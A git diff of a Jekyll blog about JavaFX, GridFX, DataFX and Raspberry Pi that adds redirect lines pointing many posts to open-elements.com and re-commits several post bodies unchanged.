6e2ed52..68eb705 100644 --- a/_posts/2012-11-03-vagrant-binding-demos.md +++ b/_posts/2012-11-03-vagrant-binding-demos.md @@ -1,5 +1,6 @@ --- title: 'Vagrant-Binding-Demos' +redirect_to: https://open-elements.com/posts/2012/11/03/vagrant-binding-demos/ layout: post author: hendrik categories: [Vagrant-Binding] diff --git a/_posts/2012-11-21-gridfx-pagination.md b/_posts/2012-11-21-gridfx-pagination.md index d676d57..4993623 100644 --- a/_posts/2012-11-21-gridfx-pagination.md +++ b/_posts/2012-11-21-gridfx-pagination.md @@ -1,43 +1,44 @@ ---- -title: 'gridfx & pagination' -layout: post -author: hendrik -categories: [JavaFX] -excerpt: 'With the JavaFX API for pagination it is possible to combine GridFX with the given features and create a grid that supports pagination.' -featuredImage: java-5 -permalink: '2012/11/gridfx-pagination/' -header: - text: gridfx & pagination - image: sample ---- -The [GridFX]({{ site.baseurl }}{% link pages/projects/gridfx.md %}) component has currently one big problem. For every item inside the model a new cell is created inside the scene graph. So if you have 100.000 items in the item list of a the grid it will contain 100.000 cells. If every cell contains 4 nodes the scene graph will contain 400.000 nodes. In swing you used [renderer classes](http://docs.oracle.com/javase/tutorial/uiswing/components/combobox.html#renderer) to avoid this problem. But JavaFX work different. Instead of using only one renderer instance and painting this again and again JavaFX uses cell factories to create new instances for every cell. The trick is, that only the cells you currently see on screen are added to the scene graph. Old cells will be dropped from the scene graph when the view is scrolling and recycled or reused later. This logic is implemented in com.sun.javafx.scene.control.skin.VirtualFlow and used by the JavaFX [ListView](http://docs.oracle.com/javafx/2/ui_controls/list-view.htm) for example. I will implement this behavior to gridfx as soon as possible. - -![pagination1](/assets/posts/guigarage-legacy/pagination1.png) - -While playing with other JavaFX features and APIs I found another solution for this problem. With the [Pagination](http://docs.oracle.com/javafx/2/ui_controls/pagination.htm) class you can split your UI in different pages. An example for this method is the iOS home screen. Here all your apps are split in different pages and you can flip through them. - -![Pagnation2](/assets/posts/guigarage-legacy/Pagnation2.png) - -I tried to imitate this behavior for the GridView and will share my experience here. - -A list of items should be cut in little peaces so that each part fits exactly into one page of the Pagination Control and the page count depends on the item count. Thanks to the [JavaFX property binding](http://docs.oracle.com/javafx/2/binding/jfxpub-binding.htm) this plan wasn't to hard to implement. I created a helper class ([GridPaginationHelper.java](https://github.com/guigarage/gridfx/blob/master/src/main/java/com/guigarage/fx/grid/util/GridPaginationHelper.java)) that takes care of all the bindings and calculations. You only need a cell factory for the GridView. There are some problems with Pagination so that not everything is working as it should. Will later talk about this. First a short movie that shows the current state: - -{% include posts/vimeo.html id="54046675" %} - -You can see how the Pagination animates through all pages and the page count is computed every time the size of the cells is changing. You can see the problems that the implementation has at this stage, too. Sometimes the navigation bar flickers or disappear for a moment. This a very strange behavior and I can't find the cause. Then I can not access the size of the page inside the Pagination Control. At the moment I'm working with the following hack: - -{% highlight Java %} -pageHeight = pagination.getHeight() - 64; -{% endhighlight %} - -There is another limitation of the Pagination Control. You can not deactivate the animation. When the cell size changes the current page index may change while showing the same cells. At this moment the animation should be deactivated. - -Maybe I have done something wrong or don't understand the complete usage of Pagination but I think that behavior I want to copy is used in a lot of modern applications: - -![pagination-demo1-150x150](/assets/posts/guigarage-legacy/pagination-demo1.jpg) - -![pagination-demo2-150x150](/assets/posts/guigarage-legacy/pagination-demo2.png) - -![pagination-demo3-150x150](/assets/posts/guigarage-legacy/pagination-demo3.png) - -I will open some tickets at Jira for this issues. Maybe someone has I idea how to do this a better way in the meantime. I'm open for better and new ideas. +--- +title: 'gridfx & pagination' +redirect_to: https://open-elements.com/posts/2012/11/21/gridfx-pagination/ +layout: post +author: hendrik +categories: [JavaFX] +excerpt: 'With the JavaFX API for pagination it is possible to combine GridFX with the given features and create a grid that supports pagination.' +featuredImage: java-5 +permalink: '2012/11/gridfx-pagination/' +header: + text: gridfx & pagination + image: sample +--- +The [GridFX]({{ site.baseurl }}{% link pages/projects/gridfx.md %}) component has currently one big problem. For every item inside the model a new cell is created inside the scene graph. So if you have 100.000 items in the item list of a the grid it will contain 100.000 cells. If every cell contains 4 nodes the scene graph will contain 400.000 nodes. In swing you used [renderer classes](http://docs.oracle.com/javase/tutorial/uiswing/components/combobox.html#renderer) to avoid this problem. But JavaFX work different. Instead of using only one renderer instance and painting this again and again JavaFX uses cell factories to create new instances for every cell. The trick is, that only the cells you currently see on screen are added to the scene graph. Old cells will be dropped from the scene graph when the view is scrolling and recycled or reused later. This logic is implemented in com.sun.javafx.scene.control.skin.VirtualFlow and used by the JavaFX [ListView](http://docs.oracle.com/javafx/2/ui_controls/list-view.htm) for example. I will implement this behavior to gridfx as soon as possible. + +![pagination1](/assets/posts/guigarage-legacy/pagination1.png) + +While playing with other JavaFX features and APIs I found another solution for this problem. With the [Pagination](http://docs.oracle.com/javafx/2/ui_controls/pagination.htm) class you can split your UI in different pages. An example for this method is the iOS home screen. Here all your apps are split in different pages and you can flip through them. + +![Pagnation2](/assets/posts/guigarage-legacy/Pagnation2.png) + +I tried to imitate this behavior for the GridView and will share my experience here. + +A list of items should be cut in little peaces so that each part fits exactly into one page of the Pagination Control and the page count depends on the item count. Thanks to the [JavaFX property binding](http://docs.oracle.com/javafx/2/binding/jfxpub-binding.htm) this plan wasn't to hard to implement. I created a helper class ([GridPaginationHelper.java](https://github.com/guigarage/gridfx/blob/master/src/main/java/com/guigarage/fx/grid/util/GridPaginationHelper.java)) that takes care of all the bindings and calculations. You only need a cell factory for the GridView. There are some problems with Pagination so that not everything is working as it should. Will later talk about this. First a short movie that shows the current state: + +{% include posts/vimeo.html id="54046675" %} + +You can see how the Pagination animates through all pages and the page count is computed every time the size of the cells is changing. You can see the problems that the implementation has at this stage, too. Sometimes the navigation bar flickers or disappear for a moment. This a very strange behavior and I can't find the cause. Then I can not access the size of the page inside the Pagination Control. At the moment I'm working with the following hack: + +{% highlight Java %} +pageHeight = pagination.getHeight() - 64; +{% endhighlight %} + +There is another limitation of the Pagination Control. You can not deactivate the animation. When the cell size changes the current page index may change while showing the same cells. At this moment the animation should be deactivated. + +Maybe I have done something wrong or don't understand the complete usage of Pagination but I think that behavior I want to copy is used in a lot of modern applications: + +![pagination-demo1-150x150](/assets/posts/guigarage-legacy/pagination-demo1.jpg) + +![pagination-demo2-150x150](/assets/posts/guigarage-legacy/pagination-demo2.png) + +![pagination-demo3-150x150](/assets/posts/guigarage-legacy/pagination-demo3.png) + +I will open some tickets at Jira for this issues. Maybe someone has I idea how to do this a better way in the meantime. I'm open for better and new ideas. diff --git a/_posts/2012-11-25-maven-support-for-datafx.md b/_posts/2012-11-25-maven-support-for-datafx.md index 034644f..49a2de7 100644 --- a/_posts/2012-11-25-maven-support-for-datafx.md +++ b/_posts/2012-11-25-maven-support-for-datafx.md @@ -1,5 +1,6 @@ --- title: 'Maven support for DataFX' +redirect_to: https://open-elements.com/posts/2012/11/25/maven-support-for-datafx/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2012-12-03-gridfx-supports-css.md b/_posts/2012-12-03-gridfx-supports-css.md index d2e84cc..f340717 100644 --- a/_posts/2012-12-03-gridfx-supports-css.md +++ b/_posts/2012-12-03-gridfx-supports-css.md @@ -1,21 +1,22 @@ ---- -title: 'GridFX supports CSS' -layout: post -author: hendrik -categories: [JavaFX] -excerpt: 'GridFX has no CSS support. Several CSS properties were added to GridFX and let you style the control' -featuredImage: css-2 -permalink: '2012/12/gridfx-supports-css/' -header: - text: GridFX supports CSS - image: sample ---- -I added CSS support to [GridFX]({{ site.baseurl }}{% link pages/projects/gridfx.md %}). There are five properties that can be styled by CSS at the moment: - -* `-fx-vertical-cell-spacing` - vertical spacing between two cells (double) -* `-fx-horizontal-cell-spacing` - horizontal spacing between two cells (double) -* `-fx-cell-height` - height of a cell (double) -* `-fx-cell-width` - width of a cell (double) -* `-fx-horizontal-alignment` - horizontal alignment of all cells (LEFT,CENTER, or RIGHT) - -Stay tuned for the upcoming "Custom Controls" post that will handle CSS support. +--- +title: 'GridFX supports CSS' +redirect_to: https://open-elements.com/posts/2012/12/03/gridfx-supports-css/ +layout: post +author: hendrik +categories: [JavaFX] +excerpt: 'GridFX has no CSS support. Several CSS properties were added to GridFX and let you style the control' +featuredImage: css-2 +permalink: '2012/12/gridfx-supports-css/' +header: + text: GridFX supports CSS + image: sample +--- +I added CSS support to [GridFX]({{ site.baseurl }}{% link pages/projects/gridfx.md %}). There are five properties that can be styled by CSS at the moment: + +* `-fx-vertical-cell-spacing` - vertical spacing between two cells (double) +* `-fx-horizontal-cell-spacing` - horizontal spacing between two cells (double) +* `-fx-cell-height` - height of a cell (double) +* `-fx-cell-width` - width of a cell (double) +* `-fx-horizontal-alignment` - horizontal alignment of all cells (LEFT,CENTER, or RIGHT) + +Stay tuned for the upcoming "Custom Controls" post that will handle CSS support. diff --git a/_posts/2012-12-10-access-puppet-forge-repository-with-java.md b/_posts/2012-12-10-access-puppet-forge-repository-with-java.md index 178a56e..643d2a3 100644 --- a/_posts/2012-12-10-access-puppet-forge-repository-with-java.md +++ b/_posts/2012-12-10-access-puppet-forge-repository-with-java.md @@ -1,5 +1,6 @@ --- title: 'Access Puppet Forge Repository with Java' +redirect_to: https://open-elements.com/posts/2012/12/10/access-puppet-forge-repository-with-java/ layout: post author: hendrik categories: [Vagrant-Binding] diff --git a/_posts/2012-12-12-some-news-about-vagrant-binding.md b/_posts/2012-12-12-some-news-about-vagrant-binding.md index ed0513f..351cad9 100644 --- a/_posts/2012-12-12-some-news-about-vagrant-binding.md +++ b/_posts/2012-12-12-some-news-about-vagrant-binding.md @@ -1,5 +1,6 @@ --- title: 'Some news about Vagrant-Binding' +redirect_to: https://open-elements.com/posts/2012/12/12/some-news-about-vagrant-binding/ layout: post author: hendrik categories: [General, Vagrant-Binding] diff --git a/_posts/2012-12-28-my-first-steps-with-javafx-on-raspberry-pi.md b/_posts/2012-12-28-my-first-steps-with-javafx-on-raspberry-pi.md index dcd1d72..dd68c3a 100644 --- a/_posts/2012-12-28-my-first-steps-with-javafx-on-raspberry-pi.md +++ b/_posts/2012-12-28-my-first-steps-with-javafx-on-raspberry-pi.md @@ -1,23 +1,24 @@ ---- -title: 'My first steps with JavaFX on Raspberry Pi' -layout: post -author: hendrik -categories: [DataFX, IoT, JavaFX] -excerpt: 'Today I started playing with my Pi & JavaFX. I created a screensaver as a first demo. The programm loads random pictures (2848 × 4288 pixel) and animates them on the screen.' -featuredImage: java-2 -permalink: '2012/12/my-first-steps-with-javafx-on-raspberry-pi/' -header: - text: My first steps with JavaFX on Raspberry Pi - image: sample ---- -Today I started playing with my Pi & JavaFX. Even after a few hours I can say that this stuff really rocks! - -I created a screensaver as a first demo. The programm loads random pictures (2848 × 4288 pixel) and animates them on the screen: - -{% include posts/youtube.html id="r0GEm1pEhoE" %} - -I used a experimental build of [DataFX]({{ site.baseurl }}{% link pages/projects/datafx.md %}) for loading and scaling all the pictures. In my point of view the performance of all animations is awesome. Oracle has really done a great work! - -Next will be a [GridFX]({{ site.baseurl }}{% link pages/projects/gridfx.md %}) demo that I currently try to port to JFX8. - -For more JFX & Pi infos read [this article by Stephen Chin](http://javafx.steveonjava.com/javafx-on-raspberry-pi-3-easy-steps/). +--- +title: 'My first steps with JavaFX on Raspberry Pi' +redirect_to: https://open-elements.com/posts/2012/12/28/my-first-steps-with-javafx-on-raspberry-pi/ +layout: post +author: hendrik +categories: [DataFX, IoT, JavaFX] +excerpt: 'Today I started playing with my Pi & JavaFX. I created a screensaver as a first demo. The programm loads random pictures (2848 × 4288 pixel) and animates them on the screen.' +featuredImage: java-2 +permalink: '2012/12/my-first-steps-with-javafx-on-raspberry-pi/' +header: + text: My first steps with JavaFX on Raspberry Pi + image: sample +--- +Today I started playing with my Pi & JavaFX. Even after a few hours I can say that this stuff really rocks! + +I created a screensaver as a first demo. The programm loads random pictures (2848 × 4288 pixel) and animates them on the screen: + +{% include posts/youtube.html id="r0GEm1pEhoE" %} + +I used a experimental build of [DataFX]({{ site.baseurl }}{% link pages/projects/datafx.md %}) for loading and scaling all the pictures. In my point of view the performance of all animations is awesome. Oracle has really done a great work! + +Next will be a [GridFX]({{ site.baseurl }}{% link pages/projects/gridfx.md %}) demo that I currently try to port to JFX8. + +For more JFX & Pi infos read [this article by Stephen Chin](http://javafx.steveonjava.com/javafx-on-raspberry-pi-3-easy-steps/). diff --git a/_posts/2012-12-29-gridfx-on-raspberry-pi-javafx-8.md b/_posts/2012-12-29-gridfx-on-raspberry-pi-javafx-8.md index 07ec843..76dc942 100644 --- a/_posts/2012-12-29-gridfx-on-raspberry-pi-javafx-8.md +++ b/_posts/2012-12-29-gridfx-on-raspberry-pi-javafx-8.md @@ -1,36 +1,37 @@ ---- -title: 'GridFX on Raspberry Pi & JavaFX 8' -layout: post -author: hendrik -categories: [IoT, JavaFX] -excerpt: 'For my first JFX demo I created a experimental GridFX version for JavaFX 8.' -featuredImage: java-3 -permalink: '2012/12/gridfx-on-raspberry-pi-javafx-8/' -header: - text: GridFX on Raspberry Pi - image: sample ---- -For my [first JFX demo]({{ site.baseurl }}{% post_url 2012-12-28-my-first-steps-with-javafx-on-raspberry-pi %}) I tried to create a experimental [GridFX]({{ site.baseurl }}{% link pages/projects/gridfx.md %}) version for JavaFX 8. As I mentioned in an [earlier post]({{ site.baseurl }}{% post_url 2012-11-17-custom-ui-controls-with-javafx-part-1 %}) there are some API changed between JavaFX 2 and 8. For GridFX I had to change two things: - -* The BaseSkin class is now public -* The CSS support that I used in GridFX seams to work completely different in JavaFX 8. - -Both issues were fixed very fast and an GridFX demo was running on my Mac where I have JDK "build 1.8.0-ea-b69" installed ([download it here](http://jdk8.java.net/download.html)). But after deploying the demo on my Pi nothing happened... - -So I created a log file for the java output by adding some parameters to the shell command: - -{% highlight shell %} -java -cp myApp.jar com.guigarage.Demo >log 2>&1 -{% endhighlight %} - -The logging showed me the cause of my problems: - -{% highlight shell %} -java.lang.NoSuchMethodError: javafx.scene.control.SkinBase.(Ljavafx/scene/control/Control;)V at com.guigarage.fx.grid.skin.GridViewSkin.(GridViewSkin.java:24) -{% endhighlight %} - -While everything compiled perfectly on my Mac, the Pi has a different JavaFX compilation / version ("build 1.8.0-ea-b36e"). As a first solution I downloaded the "jfxrt.jar" file from my Pi and included it to the GridFX project on my Mac. After doing so I saw all the compilation problems in Eclipse and had a change to resolve them. It would be very nice to have a real 1.8.0-ea-b36 build installed on my Mac. Any idea where to get it? - -But after fixing all this problems the GridFX demo is running on my Pi: - -{% include posts/youtube.html id="OZv6WUpEzS8" %} +--- +title: 'GridFX on Raspberry Pi & JavaFX 8' +redirect_to: https://open-elements.com/posts/2012/12/29/gridfx-on-raspberry-pi-javafx-8/ +layout: post +author: hendrik +categories: [IoT, JavaFX] +excerpt: 'For my first JFX demo I created a experimental GridFX version for JavaFX 8.' +featuredImage: java-3 +permalink: '2012/12/gridfx-on-raspberry-pi-javafx-8/' +header: + text: GridFX on Raspberry Pi + image: sample +--- +For my [first JFX demo]({{ site.baseurl }}{% post_url 2012-12-28-my-first-steps-with-javafx-on-raspberry-pi %}) I tried to create a experimental [GridFX]({{ site.baseurl }}{% link pages/projects/gridfx.md %}) version for JavaFX 8. As I mentioned in an [earlier post]({{ site.baseurl }}{% post_url 2012-11-17-custom-ui-controls-with-javafx-part-1 %}) there are some API changed between JavaFX 2 and 8. For GridFX I had to change two things: + +* The BaseSkin class is now public +* The CSS support that I used in GridFX seams to work completely different in JavaFX 8. + +Both issues were fixed very fast and an GridFX demo was running on my Mac where I have JDK "build 1.8.0-ea-b69" installed ([download it here](http://jdk8.java.net/download.html)). But after deploying the demo on my Pi nothing happened... + +So I created a log file for the java output by adding some parameters to the shell command: + +{% highlight shell %} +java -cp myApp.jar com.guigarage.Demo >log 2>&1 +{% endhighlight %} + +The logging showed me the cause of my problems: + +{% highlight shell %} +java.lang.NoSuchMethodError: javafx.scene.control.SkinBase.(Ljavafx/scene/control/Control;)V at com.guigarage.fx.grid.skin.GridViewSkin.(GridViewSkin.java:24) +{% endhighlight %} + +While everything compiled perfectly on my Mac, the Pi has a different JavaFX compilation / version ("build 1.8.0-ea-b36e"). As a first solution I downloaded the "jfxrt.jar" file from my Pi and included it to the GridFX project on my Mac. After doing so I saw all the compilation problems in Eclipse and had a change to resolve them. It would be very nice to have a real 1.8.0-ea-b36 build installed on my Mac. Any idea where to get it? + +But after fixing all this problems the GridFX demo is running on my Pi: + +{% include posts/youtube.html id="OZv6WUpEzS8" %} diff --git a/_posts/2012-12-31-bindabletransition.md b/_posts/2012-12-31-bindabletransition.md index 6408f29..c485f67 100644 --- a/_posts/2012-12-31-bindabletransition.md +++ b/_posts/2012-12-31-bindabletransition.md @@ -1,5 +1,6 @@ --- title: 'BindableTransition' +redirect_to: https://open-elements.com/posts/2012/12/31/bindabletransition/ layout: post author: hendrik categories: [General, JavaFX] diff --git a/_posts/2013-01-01-invokeandwait-for-javafx.md b/_posts/2013-01-01-invokeandwait-for-javafx.md index 896d518..294443e 100644 --- a/_posts/2013-01-01-invokeandwait-for-javafx.md +++ b/_posts/2013-01-01-invokeandwait-for-javafx.md @@ -1,5 +1,6 @@ --- title: 'invokeAndWait for JavaFX' +redirect_to: https://open-elements.com/posts/2013/01/01/invokeandwait-for-javafx/ layout: post author: hendrik categories: [DataFX, General, JavaFX] diff --git a/_posts/2013-01-10-custom-ui-controls-with-javafx-part3.md b/_posts/2013-01-10-custom-ui-controls-with-javafx-part3.md index 94d7e08..17205d8 100644 --- a/_posts/2013-01-10-custom-ui-controls-with-javafx-part3.md +++ b/_posts/2013-01-10-custom-ui-controls-with-javafx-part3.md @@ -1,5 +1,6 @@ --- title: 'Custom UI Controls with JavaFX (Part3)' +redirect_to: https://open-elements.com/posts/2013/01/10/custom-ui-controls-with-javafx-part3/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2013-01-16-this-is-for-the-native-ones.md b/_posts/2013-01-16-this-is-for-the-native-ones.md index f3480ca..d8d77f6 100644 --- a/_posts/2013-01-16-this-is-for-the-native-ones.md +++ b/_posts/2013-01-16-this-is-for-the-native-ones.md @@ -1,5 +1,6 @@ --- title: 'This is for the native ones' +redirect_to: https://open-elements.com/posts/2013/01/16/this-is-for-the-native-ones/ layout: post author: hendrik categories: [AquaFX, General, JavaFX] diff --git a/_posts/2013-02-08-change-java-version-on-mac-os.md b/_posts/2013-02-08-change-java-version-on-mac-os.md index 3e42255..f419689 100644 --- a/_posts/2013-02-08-change-java-version-on-mac-os.md +++ b/_posts/2013-02-08-change-java-version-on-mac-os.md @@ -1,5 +1,6 @@ --- title: 'Change Java version on Mac OS' +redirect_to: https://open-elements.com/posts/2013/02/08/change-java-version-on-mac-os/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2013-02-09-datafx-observableexecutor-preview.md b/_posts/2013-02-09-datafx-observableexecutor-preview.md index cea5dfb..9455d62 100644 --- a/_posts/2013-02-09-datafx-observableexecutor-preview.md +++ b/_posts/2013-02-09-datafx-observableexecutor-preview.md @@ -1,5 +1,6 @@ --- title: 'DataFX: ObservableExecutor Preview' +redirect_to: https://open-elements.com/posts/2013/02/09/datafx-observableexecutor-preview/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2013-03-17-introducing-marvinfx.md b/_posts/2013-03-17-introducing-marvinfx.md index a24a151..eef94df 100644 --- a/_posts/2013-03-17-introducing-marvinfx.md +++ b/_posts/2013-03-17-introducing-marvinfx.md @@ -1,5 +1,6 @@ --- title: 'Introducing MarvinFx' +redirect_to: https://open-elements.com/posts/2013/03/17/introducing-marvinfx/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2013-04-28-the-native-ones-are-not-sleeping.md b/_posts/2013-04-28-the-native-ones-are-not-sleeping.md index d8e1746..67d3507 100644 --- a/_posts/2013-04-28-the-native-ones-are-not-sleeping.md +++ b/_posts/2013-04-28-the-native-ones-are-not-sleeping.md @@ -1,5 +1,6 @@ --- title: 'The native ones are not sleeping' +redirect_to: https://open-elements.com/posts/2013/04/28/the-native-ones-are-not-sleeping/ layout: post author: claudine categories: [AquaFX, JavaFX] diff --git a/_posts/2013-05-01-sbt-fxml-the-missing-link-between-fxml-and-your-code.md b/_posts/2013-05-01-sbt-fxml-the-missing-link-between-fxml-and-your-code.md index c69d047..870de67 100644 --- a/_posts/2013-05-01-sbt-fxml-the-missing-link-between-fxml-and-your-code.md +++ b/_posts/2013-05-01-sbt-fxml-the-missing-link-between-fxml-and-your-code.md @@ -1,5 +1,6 @@ --- title: 'sbt-fxml: The missing link between FXML and your code' +redirect_to: https://open-elements.com/posts/2013/05/01/sbt-fxml-the-missing-link-between-fxml-and-your-code/ layout: post author: phdoerfler categories: [JavaFX] diff --git a/_posts/2013-05-09-aquatecture.md b/_posts/2013-05-09-aquatecture.md index 66d0ad3..35dcf19 100644 --- a/_posts/2013-05-09-aquatecture.md +++ b/_posts/2013-05-09-aquatecture.md @@ -1,5 +1,6 @@ --- title: 'Aquatecture' +redirect_to: https://open-elements.com/posts/2013/05/09/aquatecture/ layout: post author: hendrik categories: [AquaFX, General, JavaFX] diff --git a/_posts/2013-05-11-designing-javafx-business-applications-part-1.md b/_posts/2013-05-11-designing-javafx-business-applications-part-1.md index 17105c2..f9b4d99 100644 --- a/_posts/2013-05-11-designing-javafx-business-applications-part-1.md +++ b/_posts/2013-05-11-designing-javafx-business-applications-part-1.md @@ -1,5 +1,6 @@ --- title: 'Designing JavaFX Business Applications (Part 1)' +redirect_to: https://open-elements.com/posts/2013/05/11/designing-javafx-business-applications-part-1/ layout: post author: hendrik categories: [General] diff --git a/_posts/2013-05-19-designing-javafx-business-applications-part-2.md b/_posts/2013-05-19-designing-javafx-business-applications-part-2.md index f13e62a..4634bff 100644 --- a/_posts/2013-05-19-designing-javafx-business-applications-part-2.md +++ b/_posts/2013-05-19-designing-javafx-business-applications-part-2.md @@ -1,5 +1,6 @@ --- title: 'Designing JavaFX Business Applications (Part 2)' +redirect_to: https://open-elements.com/posts/2013/05/19/designing-javafx-business-applications-part-2/ layout: post author: hendrik categories: [General, JavaFX] diff --git a/_posts/2013-05-26-aquafx-lessons-learned-part-i.md b/_posts/2013-05-26-aquafx-lessons-learned-part-i.md index ac6295d..d75f17f 100644 --- a/_posts/2013-05-26-aquafx-lessons-learned-part-i.md +++ b/_posts/2013-05-26-aquafx-lessons-learned-part-i.md @@ -1,5 +1,6 @@ --- title: 'AquaFX: lessons learned (Part I)' +redirect_to: https://open-elements.com/posts/2013/05/26/aquafx-lessons-learned-part-i/ layout: post author: claudine categories: [AquaFX, JavaFX] diff --git a/_posts/2013-08-29-boxfx-javaone-preview-1.md b/_posts/2013-08-29-boxfx-javaone-preview-1.md index 4416174..f3b7d49 100644 --- a/_posts/2013-08-29-boxfx-javaone-preview-1.md +++ b/_posts/2013-08-29-boxfx-javaone-preview-1.md @@ -1,5 +1,6 @@ --- title: 'BoxFX (JavaOne Preview 1)' +redirect_to: https://open-elements.com/posts/2013/08/29/boxfx-javaone-preview-1/ layout: post author: hendrik categories: [IoT, JavaFX] diff --git a/_posts/2013-08-30-pimp-your-app-by-using-the-blurpane.md b/_posts/2013-08-30-pimp-your-app-by-using-the-blurpane.md index 4d1dec2..b6c2076 100644 --- a/_posts/2013-08-30-pimp-your-app-by-using-the-blurpane.md +++ b/_posts/2013-08-30-pimp-your-app-by-using-the-blurpane.md @@ -1,5 +1,6 @@ --- title: 'Pimp your App by using the BlurPane' +redirect_to: https://open-elements.com/posts/2013/08/30/pimp-your-app-by-using-the-blurpane/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2013-09-13-datafx-controller-api.md b/_posts/2013-09-13-datafx-controller-api.md index 1df6b2c..2e737f5 100644 --- a/_posts/2013-09-13-datafx-controller-api.md +++ b/_posts/2013-09-13-datafx-controller-api.md @@ -1,5 +1,6 @@ --- title: 'DataFX Controller API' +redirect_to: https://open-elements.com/posts/2013/09/13/datafx-controller-api/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2013-09-28-datafx-the-best-way-to-get-real-world-data-into-your-javafx-application.md b/_posts/2013-09-28-datafx-the-best-way-to-get-real-world-data-into-your-javafx-application.md index 0ae103c..c6760e5 100644 --- a/_posts/2013-09-28-datafx-the-best-way-to-get-real-world-data-into-your-javafx-application.md +++ b/_posts/2013-09-28-datafx-the-best-way-to-get-real-world-data-into-your-javafx-application.md @@ -1,5 +1,6 @@ --- title: 'DataFX: The best way to get real-world data into your JavaFX application' +redirect_to: https://open-elements.com/posts/2013/09/28/datafx-the-best-way-to-get-real-world-data-into-your-javafx-application/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2013-10-07-aquafx-dressed-in-elements.md b/_posts/2013-10-07-aquafx-dressed-in-elements.md index bfbfebc..2be956c 100644 --- a/_posts/2013-10-07-aquafx-dressed-in-elements.md +++ b/_posts/2013-10-07-aquafx-dressed-in-elements.md @@ -1,5 +1,6 @@ --- title: 'AquaFX dressed in Elements' +redirect_to: https://open-elements.com/posts/2013/10/07/aquafx-dressed-in-elements/ layout: post author: claudine categories: [AquaFX, JavaFX] diff --git a/_posts/2013-10-11-simplify-your-app-by-using-bonjour.md b/_posts/2013-10-11-simplify-your-app-by-using-bonjour.md index f528b2b..744463b 100644 --- a/_posts/2013-10-11-simplify-your-app-by-using-bonjour.md +++ b/_posts/2013-10-11-simplify-your-app-by-using-bonjour.md @@ -1,5 +1,6 @@ --- title: 'Simplify your app by using Bonjour' +redirect_to: https://open-elements.com/posts/2013/10/11/simplify-your-app-by-using-bonjour/ layout: post author: hendrik categories: [General] diff --git a/_posts/2013-12-27-datafx-controller-framework-preview.md b/_posts/2013-12-27-datafx-controller-framework-preview.md index 8be95ea..e260a0b 100644 --- a/_posts/2013-12-27-datafx-controller-framework-preview.md +++ b/_posts/2013-12-27-datafx-controller-framework-preview.md @@ -1,5 +1,6 @@ --- title: 'DataFX Controller Framework Preview' +redirect_to: https://open-elements.com/posts/2013/12/27/datafx-controller-framework-preview/ layout: post author: hendrik categories: [DataFX, General, JavaFX] diff --git a/_posts/2014-01-23-datafx-8-preview-2-processchain.md b/_posts/2014-01-23-datafx-8-preview-2-processchain.md index 07d36aa..04dc64f 100644 --- a/_posts/2014-01-23-datafx-8-preview-2-processchain.md +++ b/_posts/2014-01-23-datafx-8-preview-2-processchain.md @@ -1,5 +1,6 @@ --- title: 'DataFX 8 Preview 2: The ProcessChain' +redirect_to: https://open-elements.com/posts/2014/01/23/datafx-8-preview-2-the-processchain/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2014-01-24-javafx-meets-javaee.md b/_posts/2014-01-24-javafx-meets-javaee.md index 7ef7896..a0db992 100644 --- a/_posts/2014-01-24-javafx-meets-javaee.md +++ b/_posts/2014-01-24-javafx-meets-javaee.md @@ -1,5 +1,6 @@ --- title: 'JavaFX meets JavaEE' +redirect_to: https://open-elements.com/posts/2014/01/24/javafx-meets-javaee/ layout: post author: hendrik categories: [DataFX] diff --git a/_posts/2014-03-05-mastering-javafx-controls.md b/_posts/2014-03-05-mastering-javafx-controls.md index 38f6eea..bdb8e5d 100644 --- a/_posts/2014-03-05-mastering-javafx-controls.md +++ b/_posts/2014-03-05-mastering-javafx-controls.md @@ -1,5 +1,6 @@ --- title: 'Mastering JavaFX Controls' +redirect_to: https://open-elements.com/posts/2014/03/05/mastering-javafx-controls/ layout: post author: hendrik categories: [General] diff --git a/_posts/2014-03-27-datafx-8-nighthacking.md b/_posts/2014-03-27-datafx-8-nighthacking.md index 45e5e97..44bae0f 100644 --- a/_posts/2014-03-27-datafx-8-nighthacking.md +++ b/_posts/2014-03-27-datafx-8-nighthacking.md @@ -1,5 +1,6 @@ --- title: 'DataFX 8 @ Nighthacking' +redirect_to: https://open-elements.com/posts/2014/03/27/datafx-8-@-nighthacking/ layout: post author: hendrik categories: [DataFX] diff --git a/_posts/2014-03-28-reactive-programming-javafx.md b/_posts/2014-03-28-reactive-programming-javafx.md index 1a17690..8ce9859 100644 --- a/_posts/2014-03-28-reactive-programming-javafx.md +++ b/_posts/2014-03-28-reactive-programming-javafx.md @@ -1,5 +1,6 @@ --- title: 'Reactive Programming with JavaFX' +redirect_to: https://open-elements.com/posts/2014/03/28/reactive-programming-with-javafx/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2014-03-29-javafx-css-utilities.md b/_posts/2014-03-29-javafx-css-utilities.md index 248e996..cbf7237 100644 --- a/_posts/2014-03-29-javafx-css-utilities.md +++ b/_posts/2014-03-29-javafx-css-utilities.md @@ -1,5 +1,6 @@ --- title: 'JavaFX CSS Utilities' +redirect_to: https://open-elements.com/posts/2014/03/29/javafx-css-utilities/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2014-04-17-datafx-8-preview-2.md b/_posts/2014-04-17-datafx-8-preview-2.md index 849d3ba..94e88da 100644 --- a/_posts/2014-04-17-datafx-8-preview-2.md +++ b/_posts/2014-04-17-datafx-8-preview-2.md @@ -1,5 +1,6 @@ --- title: 'DataFX 8 Preview 2' +redirect_to: https://open-elements.com/posts/2014/04/17/datafx-8-preview-2/ layout: post author: hendrik categories: [DataFX, JavaFX] diff --git a/_posts/2014-05-15-javafx-8-interview-jax-2014.md b/_posts/2014-05-15-javafx-8-interview-jax-2014.md index de7d0b2..eb12aae 100644 --- a/_posts/2014-05-15-javafx-8-interview-jax-2014.md +++ b/_posts/2014-05-15-javafx-8-interview-jax-2014.md @@ -1,5 +1,6 @@ --- title: 'JavaFX 8 Interview at JAX 2014' +redirect_to: https://open-elements.com/posts/2014/05/15/javafx-8-interview-at-jax-2014/ layout: post author: hendrik categories: [JavaFX] diff --git 